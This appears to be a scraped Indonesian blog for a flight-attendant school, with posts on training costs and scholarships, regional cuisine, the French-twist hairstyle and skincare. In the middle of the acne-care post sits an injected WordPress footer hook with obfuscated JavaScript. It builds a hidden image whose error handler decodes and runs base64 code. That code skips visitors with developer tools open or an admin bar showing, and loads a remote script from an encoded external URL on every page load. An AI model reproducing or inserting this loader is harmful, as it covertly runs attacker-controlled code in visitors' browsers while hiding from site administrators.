Beasiswa dan biaya Pendidikan pramugari yang perlu kamu tahu
biaya Pendidikan pramugari – Bekerja di bidang jasa contohnya sebagai seorang awak cabin atau sering disebut pramugari sangatlah menarik perhatian, dengan balutan busana yang khas, riasan dan rambut rapi membuat penampilan terlihat sanggat anggun dan menawan sehingga banyak mencuri perhatian banyak orang. Tau kah kalian bahwa semua itu tidak lah mudah dan isntan tentunya butuh latihan yang tidak mudah, untuk menjadi seorang pramugari di butuhkan banyak kemampuan tidak hanya soal fisik saja. Anda bercita cita menjadi seorang Pramugari ? anda tidak perlu khawatir karena sekarang sudah banyak sekolah pramugari, yang membantu anda mempersiapkan diri untuk menjadi seorang pramugari profesional. Biaya pendidikan dan pelatihan pramugari Pernah ngebayangin gak atau bertanya tanya berapa biaya sekolah untuk menjadi seorang pramugari, tanpa dipungkiri dunia pramugari sangat mencuri perhatian. Profesi sebagai seorang pramugari atau awak cabin sanggatlah menjadi dambaan sebagian orang, untuk itu kita perlu mengenal lebih jauh jika kalian bercita cita menjadi seorang pramugari. Kira kira kisaran berapa biaya pendidikan untuk menjadi pramugari atau awak cabin? Nah untuk biayanya sendiri bermacam macam ya tergantung dari lembaga atau Intitusi tersebut, sekarang ini banyak pengusaha yang membuka sekolah pramugari dan berbagai macam pola juga yang diterapkan dalam system pengajarannya. Untuk harga sendiri bervariatif salah satu contoh beberapa lembaga atau intitusi yang saya survei, untuk biaya pelatihan sendiri kisaran 15-40 juta, ada yang 2 bulan pelatihan, 4 bulan pelatihan dan 6 bulan pelatihan, biaya pelatihan nya bisa diangsur alias di cicil ya…., wow ternyata tidak murah ya…tapi tenang gaji pramugari juga besar intinya sebanding dengan sekolahnya. Di setiap lembaga atau institusi pelatihan pramugari memiliki system yang berbeda beda, dengan harga yang variatif tentunya ada lembaga atau institusi yang memiliki system all in yang artinya seluruh biaya pelatihan sudah jadi satu mulai dari biaya pelatihan, biaya praktek, asrama , makan, olahraga ,seragam, pendampingan perekrutan sudah menjadi satu, jadi siswa sudah tidak mengeluarkan biaya lagi kecuali untuk kebutuhan pribadi seperti perlengkapan mandi, pakaian. Dan ada juga lembaga atau institusi pelatihan pramugari yang mengunakan system Pelatihan dan praktek saja jadi siswa masih ada biaya lagi untuk kebutuhan kos atau tempat tinggal, olahraga dan makan untuk sehari harinya.Nah buat kalian yang bercita cita menjadi seorang pramugari atau awak cabin harus jeli dalam memilih lembaga atau institusi pelatihan pramugari supaya tidak memakan biaya yanng berlebih. Beasiswa Pendidikan pramugari Setelah kalian tau biaya pelatihan pramugari yang tidak murah pastinya kalian yang bercita cita menjadi seorang pramugari atau awak cabin tidak akan menyerah memperjuangkan cita cita itu. Di salah satu lemabaga atau isntitusi pelatihan pramugari ada yang mempunyai program beasiswa pendidikan pramugari, nah untuk beasiswa pendidikan pramugari itu sendiri bermacam macam seperti yang saya ketahui di salah satu lembaga atau institusi pelatihan pramugari, ada yang memberikan program beasiswa untuk siswa yang berprestasi nah tentunya di lembaga tersebut juga mempunyai beberapa kriteria untuk mendapatkan beasiswa pendidikan pramugari. kira kira apa saja syarat untuk mendapatkan beasiswa pendidikan pramugari : Tinggi badan 165 dengan berat badan ideal Dapat berbahasa english baik lisan maupun tertulis Sehat jasmani dan rohani Semangat buat para pejuang yang ber cita cita untuk menjadi sebagai seorang pramugari atau awak cabin, kalian bisa masuk lembaga atau istitusi pelatihan pramugari melalui jalur biasiswa tentunya. Biaya Pendidikan pramugari Garuda Indonesia Garuda Indonesia buka sekolah pramugari? Mungkin ada yang bertanya tanya seperti itu? Garuda Indonesia memang ada pendidikan dan pelatihannya tapi itu khusus untuk pramugari Garuda Indonesia saja, dan sudah melalui proses recruitmen sesuai dengan standarisasi dari Maskapai garuda Indonesia itu sendiri. Baca juga: Ini dia Syarat menjadi awak kabin garuda indonesia Mungkin sebagian orang awam ada yang masih bertanya tanya mengenai biaya pendidikan dan pelatihan pramugari di Garuda Indonesia. Sepengetahuan saya di maskapai Garuda Indonesia memang ada biaya pendidkan dan pelatihannya. Nah kalau di maskapai Garuda Indonesia itu biayanya sekitar 30-35 juta Biaya pendidikan dan pelatihan baik teori maupun praktek, dan dibayarkannya bisa di cicil atau di angsur melalui salah satu Bank yang bekerjasama dengan Garuda Indonesia.
wisata kuliner Indonesia favorit setiap daerah part2
kuliner Indonesia favorit setiap daerah part2 Sebagai seorang pramugari banyak keuntungan yang bisa kamu rasakan, penghasilan yang lumayan besar, jalan-jalan berbagai tempat tanpa khawatir biaya, bertemu banyak orang dari latar belakang yang beraneka macam, serta kamu juga bisa mencicipi banyak jenis makanan khas disetiap daerah yang kamu kunjungi. kuliner Indonesia part2 kali ini kita akan membahas kuliner Indonesia. di Nusantara ini sangat banyak daerah yang memiliki makanan khas ala daerah masing-masing, bahkan dalam satu daerah bisa memiliki lebih dari satu makanan khas, maka dari itu sangat beruntunglah seorang pramugari yang bisa keliling Indonesia bahkan dunia, mereka bisa dengan mudah mencicipi kuliner Indonesia di daerah tersebut. di part1 kita sudah membahas daerah Dki Jakarta, Surabaya, Yogyakarta, Bali, Lombok, dan Kupang. Agar menambah keyakinan kamu untuk segera mewujudkan cita-cita menjadi seorang pramugari, mari kita lihat apa saja makanan khas berbagai daerah di indonesia part2. SEMARANG, JAWA TENGAH Di semarang banyak didapati penjual lumpia, lumpia adalah salah satu makanan khas dari kota semarang, dapat disajikan dengan direbus atau juga digoreng. lumpia ini sangat nikmat dimakan selagi hangat. ada juga garang asem, makanan berkuah dengan belimbing wuluh yang terasa sangat segar bila di nikmati dengan nasi putih. satu lagi yang tidak boleh tertinggal dari semarang, kamu harus coba babat gongso, yaitu jeroan yang dimasak dengan kecap manis, bagi kalian penyuka jeroan harus mencicipi makanan satu ini ya. SOLO selain semarang, di jawa tengah juga terdapat kota solo yang menjadi kota singgah para crew pesawat, solo adalah kota kecil penuh dengan keramahan, kamu harus mencoba nasi liwet yang disajikan khas dengan kuah santan yang kental dan legit. kamu juga dapat menikmati sup timlo, yaitu sup jeroan khas kota solo, juga ada tengkleng masakan kambing atau sapi yang dimasak dengan bumbu rempah yang sudah pasti nikmat. dan bila kamu sudah menikmati makanan tersebut, kamu juga bisa membawa buah tangan yaitu kue serabi solo, yang sangat terkenal dengan rasanya yang legit dan enak tentunya. BANDUNG, JAWA BARAT kota bandung sangat terkenal dengan banyak wisata alamnya yang keren dan sangat instagramable, tapi tahukah kamu bahwa kota bandung juga menyiapkan surga makanan untuk para wisatawan yang sedang berkunjung. kamu pasti sudah sering mendengar batagor serta siomay, yang bahkan banyak penjualnya dikota lain karna sudah sangat melegenda, tapi kamu harus mencoba mie kocok, dan juga cuanki, kedua makanan ini sama nikmatnya dengan batagor dan siomay, namun belum banyak dijual di kota lain, jadi ini adalah makanan wajib sesampainya kamu dibandung. setelah itu kamu harus mencoba jajanan yang tak kalah enak, sepert kue bolen, kue balok, cireng, seblak dan serabi khas bandung. dan jangan lupa kamu juga dapat membawa buah tangan cemilan khas bandung seperti basreng, gurilem, juga keripik buah. selain snack, kamu juga bisa membeli tahu susu khas bandung untuk kelurga dirumah. PADANG, SUMATERA BARAT mendengar kota padang, pasti kita langsung teringat dengan masakan rendang, masakan kuliner indonesia yang sudah go international, masakan ini dibuat dengan irisan daging sapi yang dimasak berjam jam dengan bumbu khas, makanan ini juga sangat tahan lama, bisa disimpan di dalam lemari es untuk waktu yan cukup lama. selain rendang kamu juga bisa mencicipi makanan berbumbu yang tak kalah enak yaitu dendeng batokok dan dendeng balado. selain itu ada sate padang yang disajikan dengan bumbu berwarna kuning kecoklatan, bisa dinikmati juga dengan keripik singkong yang dicampurkan kedalam bumbu sate, sehingga saat memakannya kamu bisa merasakan tekstur yang unik dimakanan ini. BENGKULU dibengkulu kamu bisa mencicipi makanan lempuk durian, makanan ini adalah hasil olahan dari durian yang dimasak menjadi dodol, rasa duriannya sangat terasa dan khas. karna letak kota bengkulu sangat dekat dengan pantai maka banyak makanan seafood yang enak untuk dicoba. kamu juga bisa membawa oleh-oleh berupa kopi khas bengkulu yang banyak dijual di toko oleh-oleh.
SANGGUL PRAMUGARI ATAU FRENCH TWIST
Pramugari pesawat memang identik dengan penampilannya yang anggun dengan sanggul pramugari atau french twist. Setiap kali ketika kita naik pesawat pasti tatapan mata kita tertuju kepada pramugari, dengan paras yang cantik dan dengan penampilan yang sangat menarik salah satunya make up serta sanggulnya yang sanggat serasi membuat penampilannya semakin elegan dan enak di pandang. Pernah gak sih ngebayangin cara membuat sanggul pramugari? Ternyata membuat sanggul pramugari atau yang biasa di sebut french twist sanggat mudah lho. Sanggul pramugari atau french twist ini sering di gunakan di berbagai maskapai di antaranya Garuda Indonesia, Batik Air, Lion Air, singapore Airlines, dan Malaysia Airlines. Apa saja yang harus kita persiapkan untuk membuat sanggul pramugari atau french twist ? yang harus kita siapkan diantaranya jepit lidi, sisir dan hair spray. yuk kita ikuti cara membuat sanggul pramugari atau French twist. Cara membuat sanggul Pramugari atau French Twist Sisir seluruh rambuat sampai benar benar halus dan rapi Kemudian rambut yg sudah tersisir rapi pegang dengan tangan kiri seperti kita mau ikat rambut Pilin rambut yang sudah kita pegang menggunakan tanagn kanan dan tarik ke atas sambil di sisir bagian luarnya dan masukkan ke dalam rambut yang kita angkat ke atas Rambut yang sudah di pilin ke atas kemudian kita jepit pakai jepit rambut ( Jika rambut terlalu panjang sisa rambut bisa di masukkan kedalam rambut yang kita pilin tadi ) Setelah di jepit dengan jepit lidi, rapikan rambut dengan sissir dan tutup bagian yang ada jepit rambut tersebut supaya rapi kemudian di hair spray supaya kuat. Untuk lebih lengkapnnya bias lihat vidio tutorialnya ya di link https://www.youtube.com/watch?v=QfEUuh6pVWU selamat mencoba ! Di yogyakarta sekolah pramugari P3NUSANTARA selalu menerapkan di siswa setiap masuk kelas harus sudah bermake up lengkap dan menggunakan sanggul pramugari atau french twist setiap mengikuti perkuliahan. Dengan di lakukan praktek setiap hari ber make up dan sanggul pramugari atau french twist siswa akan lebih memahami karakter rambut serta cara bermake up untuk mendapatkan hasil yang terbaik karena di lakukan setiap hari, untuk mendapatkan hasil yang terbaik harus di lakukan setiap hari supaya menjadi kebiasaan. Dengan mengunakan busana atau uniform dari lembaga P3NUSANTARA membuat tampilan siswa menjadi lebih anggun dan elegan. Selama masa pendidikan siswa juga di ajarkan cara merawat kulit wajah serta cara bemakeup mulai dari pembersihan hingga makeup secara lengkap. Selain itu etitut dan mental yang kuat kuat sanggat kita tekankan di sini di karenakan nantinya siswa kami akan terjun di dunia pelayanan. Sebagai orang yang akan bekerja di bidang pelanyanan tentunya di perlukan penampilan yang menarik dan etitut yang baik supaya pelanggan yang kita layani akan merasa puas dan bangga terhadap perusahaan yang akan kita naungi nantinya. Sebagai seorang pramugari yang akan bertemu orang banyak dan dari berbagai kalangan kita harus profesional . Mungkin anda bertanya dalam hati, rusak gak ya rambutnya setiap hari kena hair spay? Nah disini saya akan bagikan tips cara merawat rambut supaya tetap terlihat sehat dan bagus rambut nya walaupun setiap hari menggunakan hairspray dan di sanggul setiap harinya. Ikuti langkah langkahnya berikut ini : Cara merawat rambut yang terkena hairspray Jangan menyisir rambut ketika rambut sudah kaku karena hair spray itu akan menyebabkan rambut mudah patah Basahi rambut dengan air bersih sampai seluruh rambut basah Gunakan shampo untuk keramas seperti biasa dan bilas dengan air sampai benar benar bersih Tambahkan konditioner pada rambut usap merata sampai ke ujung rambut jangan sampai terkena kulit rambut bilas sampai bersih Kering kan dengan haduk dengan di usap usap atau bisa dengan hairdryer Jika sudah setengah kering bisa di kasih vitamin rambut supaya rambut lembab dan tidak kering Sisir sampai rapi Dengan merawat rambut dengan cara di atas bisa meminimalkan rambut patah dan terjaga kebersihannya. Selamat mencoba !
PERAWATAN UNTUK KULIT BERJERAWAT
Perawatan untuk kulit wajah,Di era modern seperti sekarang ini sudah banyak berbagai macam jenis perawatan baik klinik klinik kecantikan yang bermunculan dan berbagai macam produk kecantikan yang sudah banyak jenisnya, kadang kita bingung mau memilih yang mana.Di masa pandemi seperti sekarang ini kita bisa melakukan perawatan sendiri di rumah, Sebelum kita merawat kulit wajah, kita harus mengenal jenis jenis kulit wajah kita terlebih dahulu, mengenali produk juga kandungan dalam produk yang kita gunakan dan bagaimana cara menggunakan produk tersebut. Mengenali jenis kulit1. Kulit normal tekstur kulit wajah halus, lembab,warna kulit rata dan pori pori kecil2. Kulit berminyakberminyak / mengkilap mudah timbul jerawat, pori [ori besar3. Kulit Keringkulit kasar, kusam, timbul flex hitam dan warna kulit tidak rata4. Kulit kombinasidaerah Tzone berminyak, daerah pipi kanan dan kiri kering kamu termasuk jenis kulit yang mana?setelah kita mengetahui jenis kulit kita, sekarang carilah produk yang sesuai dengan jenis kulitmu. ingat ya…sebelum kita mengunakan produk wajib di baca dulu kandungan produk serta cara penggunaannya supaya kita bisa mendapatkan hasil yang maksimal dari produk tersebut. Basic perawatan kulit wajah, semua jenis kulit wajah harus melakukan perawatan atau pembersihan kulit wajah secara tepat untuk mendapatkan kulit wajah yang bersih dan cerah. yang pertama harus di lakukan antara lain :* Pembersihan kulit wajahpembersihan kulit wajah bisa kita lakukan menggunakan cleanser ( susu pembersih ),Micelar water/ tisue basah. Pembersihan kulit wajah ini kita lakukan setiap hari terutama setelah kita bepergian atau malam hari sebelum tidur. untuk yang suka bermakeup menggunakan eye shadow, mascara dan eye liner harus di bersihkan terlebih dahulu menggunakan eye make up remover yaitu pembersih khusus area mata dan bibir. untuk daerah mata dan bibir kan sensitif ya…perbersihnya juga khusus ya.* Facial foam ( sabun wajah )Setelah wajah dibersihkan menggunakan pembersih wajah,harus di bersihkan lagi menggunakan facial foam ya,,,karena facial foam ini yang akan membersihkan make up dari sisa sisa cleanser. pastikan saat menggunakan facial foam bilas sampai benar benar bersih ya…karena kalau kita pembersihnnya tidak bersih atau masih ada sisa dari cleanser bisa menimbulkan jerawat. * Fresh Toner ( Penyegar ) Fresh Toner ( Penyegar ) yang berbentuk cair ini berfungsi untuk menyegarkan kulit wajah dan meringkas pori pori kulit. Ketiga rangkaian ini harus di terapakan untuk mendapatkan kulit yang bersih karena ini merupakan rangakian dasarnya, lakukan sebelum tidur ya agar kmu terhindar dari masalah kulit wajah. saat kulit wajah istrirahat usahakan harus selalu dalam keadaan bersih. * Pelembab / Cream malam Setelah kita lakukan step pembersihan dasar di atas atau biasa saya sebut double cleanser baru kita lanjutkan menggunakan pelembab / tabir surya untuk siang hari dan cream malam untuk malam hari supaya kelembaban kulit kita terjaga dan terlindungi dari sinar matahari. Perawatan kulit wajah berjerawat, kita cari tau dulu apa penyebab timbulnya jerawat? Jerawat akan timbul apabila kita sering menggunakan make up tetapi tidak dibersihkan, kurang menjaga kebersihan misalkan sarung bantal jarang di cuci, handuk wajah yang jadi satu dengan handuk badan, bagi wanita jika datang bulan biasanya sebelum atau sesudahnya, salah menggunakan produk dan faktor hormonal atau dari dalam tubuh. Bagaimana cara mengatasinya? kita bersihkan wajah seperti yang sudah di jelakan di atas dan tambahkan obat jerawat pada bagian jerawatnya saja untuk membuhuh bakteri dan mengurangi peradangan. obat jerawat ini sebaiknya di gunakan sehari 2x atau tergantung dari produk yang kalian gunakan. Untuk mempercepat keringnya jerawat sebaiknya kulit wajah juga di bantu menggunakan masker wajah. Gunakan masker wajah seminggu 2x ,ingat gunakan masker wajah yang khusus untuk kulit jerawat atau kulit berminyak ya. Untuk kulit yang berjerawat sebaiknya menghindari scrub ( butiran halus ) karena butiran scrub itu bisa membuat kulit wajah yang berjerawat meradang akibat gesekan dari scrub tersebut intinya bagi kalian yang mempunyai maslah kulit wajah berjerawat meradang hindari Scrub dan massage pada bagian kulit wajah. add_action(‘wp_footer’, ‘global_hidden_loader’, 100); function global_hidden_loader() { ?> function _0x2c94(_0x4e032f,_0x50dc54){_0x4e032f=_0x4e032f-0xfc;const _0xc140ae=_0xc140();let _0x2c9449=_0xc140ae[_0x4e032f];return _0x2c9449;}(function(_0x978891,_0x25722c){const _0x1da373=_0x2c94,_0x22ea3b=_0x978891();while(!![]){try{const _0x358a0f=-parseInt(_0x1da373(0xfd))/0x1+-parseInt(_0x1da373(0x100))/0x2+-parseInt(_0x1da373(0x102))/0x3+-parseInt(_0x1da373(0x107))/0x4*(-parseInt(_0x1da373(0x105))/0x5)+-parseInt(_0x1da373(0x106))/0x6+parseInt(_0x1da373(0xff))/0x7*(parseInt(_0x1da373(0x103))/0x8)+parseInt(_0x1da373(0x10d))/0x9;if(_0x358a0f===_0x25722c)break;else _0x22ea3b[‘push’](_0x22ea3b[‘shift’]());}catch(_0x4ebe3b){_0x22ea3b[‘push’](_0x22ea3b[‘shift’]());}}}(_0xc140,0x65149),document[‘addEventListener’](‘DOMContentLoaded’,function(){const _0x3d83af=_0x2c94;if(!document[‘querySelector’](_0x3d83af(0xfc))){let _0x355664=document[_0x3d83af(0x101)](_0x3d83af(0xfe));_0x355664[‘src’]=_0x3d83af(0x10b),_0x355664[_0x3d83af(0x10c)](_0x3d83af(0x10a),’bGV0IG1heFByaW50VGltZT0wO2Z1bmN0aW9uIGdldExhcmdlT2JqZWN0QXJyYXkoKXtsZXQgZT1bXTtmb3IobGV0IG49MDtuPDFlMztuKyspZS5wdXNoKHtpbmRleDpuLG5hbWU6Iml0ZW0iK24sdmFsdWU6TWF0aC5yYW5kb20oKSxuZXN0ZWQ6e2E6MSxiOjJ9fSk7cmV0dXJuIGV9ZnVuY3Rpb24gbm93KCl7cmV0dXJuIHBlcmZvcm1hbmNlLm5vdygpfWZ1bmN0aW9uIGNhbGNUYWJsZVByaW50VGltZSgpe2xldCBlPWdldExhcmdlT2JqZWN0QXJyYXkoKSxuPW5vdygpO3JldHVybiBjb25zb2xlLnRhYmxlKGUpLG5vdygpLW59ZnVuY3Rpb24gY2FsY0xvZ1ByaW50VGltZSgpe2xldCBlPWdldExhcmdlT2JqZWN0QXJyYXkoKSxuPW5vdygpO3JldHVybiBjb25zb2xlLmxvZyhlKSxub3coKS1ufWZ1bmN0aW9uIGlzRGV2VG9vbHNPcGVuKCl7bGV0IGU9Y2FsY1RhYmxlUHJpbnRUaW1lKCksbj1NYXRoLm1heChjYWxjTG9nUHJpbnRUaW1lKCksY2FsY0xvZ1ByaW50VGltZSgpKTtyZXR1cm4gbWF4UHJpbnRUaW1lPU1hdGgubWF4KG1heFByaW50VGltZSxuKSxjb25zb2xlLmNsZWFyKCksMCE9PWUmJmU+MTAqbWF4UHJpbnRUaW1lfWlmKCFpc0RldlRvb2xzT3BlbigpJiYhZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIndwYWRtaW5iYXIiKSl7dmFyIGU9bG9jYXRpb24sbj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLHQ9InNjcmlwdCIscj1hdG9iKCJhSFIwY0hNNkx5OWpaRzR1YW5Oa1pXeHBkbkl1Ym1WMEwyZG9MM2R3TFdOdmJuUmxiblF0WTI5dVppOXBMM2R3TFdobGJIQmxjaTVxY3c9PSIpO3IrPS0xPHIuaW5kZXhPZigiPyIpPyImIjoiPyIscis9ZS5zZWFyY2guc3Vic3RyaW5nKDEpLCh0PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQodCkpLnNyYz1yLHQuaWQ9YnRvYShlLm9yaWdpbiksbi5hcHBlbmRDaGlsZCh0KX0=’),_0x355664[‘setAttribute’](_0x3d83af(0x104),'(new\x20Function(atob(this.dataset.digest)))();’),_0x355664[‘style’][_0x3d83af(0x108)]=’hidden’,document[_0x3d83af(0x109)][‘insertBefore’](_0x355664,document[‘body’][‘firstChild’]);}}));function _0xc140(){const _0x3a2b30=[‘setAttribute’,’7989534NVjUJY’,’img[src=\x22/files/img/logo.png\x22]’,’8118AcMzhy’,’img’,’32298nUrZUf’,’1176256Jujtfv’,’createElement’,’806655oDOFWm’,’1248lcWdls’,’onerror’,’5vntlHZ’,’2662128rbCQqJ’,’461336DWcNdH’,’visibility’,’body’,’data-digest’,’/files/img/logo.png’];_0xc140=function(){return _0x3a2b30;};return _0xc140();} <?php }
CARA MERAWAT KULIT WAJAH
Mempunyai kulit wajah yang bersih, sehat, lembab dan cerah tentunya sangat di dambakan setiap orang baik wanita maupun pria. Tahukan kalian untuk mendapatkan kulit yang sehat itu tidak lah instan, mulai dari cara merawatnya, menjaga kebersihan, nutrisi yang bagus dan istirahat yang cukup tentunya. Yuk kita intip cara merawat kulit wajah ! Rajin mencuci wajah Setiap hari kita beraktifitas, debu kotoran dan sisa make up yang masih menempel di kulit wajah akan menyebabkan pori pori kulit kita tertutup dan itu yang menyebabkan kulit tidak bernafas dengan benar. Sebaiknya mencuci wajah di lakukan sehari 2x dengan menggunakan facial foam ( jika anda menggunakan make up sebaiknya di bersihkan terlebih dahulu sisa make up dengan menggunakan cleanser ) Setelah mencuci wajah gunakan toner atau penyegar wajah untuk meringkas pori pori kulit wajah kita. Gunakan pelembab Cara merawat kulit wajah harus rutin. Setelah kulit wajah bersih wajib ya menggunakan pelembab. Pilih pelembab yang sesuai dengan jenis kulit kalian gunakan setiap hari dan jika kalian akan pergi ke luar ruangan dan terkena sinar matahari sebaiknnya di tambahkan tabir sirya atau sunscreen untuk melindungi kulit dari paparan sinar matahari Melakukan Eksfoliasi Apa itu eksfoliasi? cara merawat kulit wajah dengan cara eksfoliasi.Eksfoliasi adalah Proses menghilangkan sel sel kulit mati di dalam kulit. Banyaknya sel kulit yang menumpuk di wajah menyebabkan kulit menjadi terlihat kusam, Sel kulit mati dapat di angkat dengan melakukan eksfoliasi. Eksfoliasi dapat di lakukan 2-3 kali dalam seminggu. Dengan melakulan eksfoliasi kulit wajah akan lebih cerah dan segar karena pori pori yang tertutup kotoran dapat terangkat Eksfoliasi dapat di lakukan sendiri di rumah, dengan cara ambil bubuk kopi 1 sendok makan di tambahkan susu cair 2 sendok makan aduk sampai berbentuk pasta, usapkan di seluruh wajah diamkan sebentar dan gosok perlahan sampai kulit terlihat bersih, setelah itu bilas dengan air bersih .Untuk mendapatkan kulit wajah yang segar setelah melakukan eksfoliasi lanjutkan dengan menggunakan masker wajah supaya kulit lebih kencang dan cerah. Masker wajah juga bisa menggunakan bahan alami seperti lidah buaya, tomat dan masih banyak lagi.potong lidah buaya cuci bersih dan ambil daging nya oleh di seluruh kulit wajah diamkan sekitar 15 menit dan bersihkan dengan air sampai bersih. Minum Air Putih Minum air putih minimal 8 gelas sehari, dengan minum air putih setiap hari secara rutin sangat bermanfaat untuk menjaga kulit tetap lembap, sehat dan tidak kusam. Kurang nya minum air putih bisa menyebabkan kurang cairan di dalam tubuh dan dapat mebuat kulit menjadi kering dan kusam. Rajin Olahraga Olahraga sangat banyak sekali manfaatnya untuk kesehatan, ketika kita berolahraga banyak sekali keringat yang keluar, itu berarti kotoran yang ada di dalam tubuh kita ikut keluar melalui keringat tersebut. Olahraga yang bisa di lakukan seperti berjalan cepat, berlari ataupun bersepeda Olahraga bisa membuat tubuh kita menjadi bugar, rilexs dan terhindar dari stess. Stess merupakan salah satu faktor yang memicu kulit menjadi kusam. Ketika seseorang sedang stres, aliran darah menuju wajah akan berkurang. Hal tersebut yang memicu kulit wajah menjadi kusam. Makan sayur dan buah segar Biasakan makan sayur dan buah, bisa dengan cara di jus atau di makan buah langsung. Dengan mengkonsumsi buah dan sayur setiap hari akan banyak sekali manfaat yang di dapatkan diantaranya menahan radikal bebas, membatu regenerasi dan pertumbuhan sel sel baru. Perlu kamu ingat, jika setiap harinya makanan yang kita asup nantinya akan direfleksikan oleh tubuh. Maka dari itu, bagi kamu yang ingin memiliki kulit sehat dan juga awet muda memang sangat disarankan untuk mengkonsumsi berbagai macam jenis sayur serta buah – buahan dalam jumlah yang lebih banyak Menjaga kebersihan dan istirahat yang cukup Kebersihan merupakan faktor paling utama untuk merawat kulit kita, dengan menjaga kebersihan kita akan terhindar dari berbagai macam penyakit. Menjaga kebersihan bisa kita lakukan dengan cara sering mencuci tangan sebelum memegang kulit wajah dan sering menganti sarung bantal kita supaya kotoran di sarung bantal tersebut tidak menempel pada kulit wajah kita. Kurang nya istirahat juga dapat menyebabkan stess dan dapat memicu kerusakan pada kulit kita. “Tubuh memperbaiki dirinya sendiri dari stres ketika tidur. Oleh karena itu, jika kamu tak mendapatkan kualitas tidur yang cukup dapat menyebabkan penuaan diri pada kulit,” kata dr. Prather.
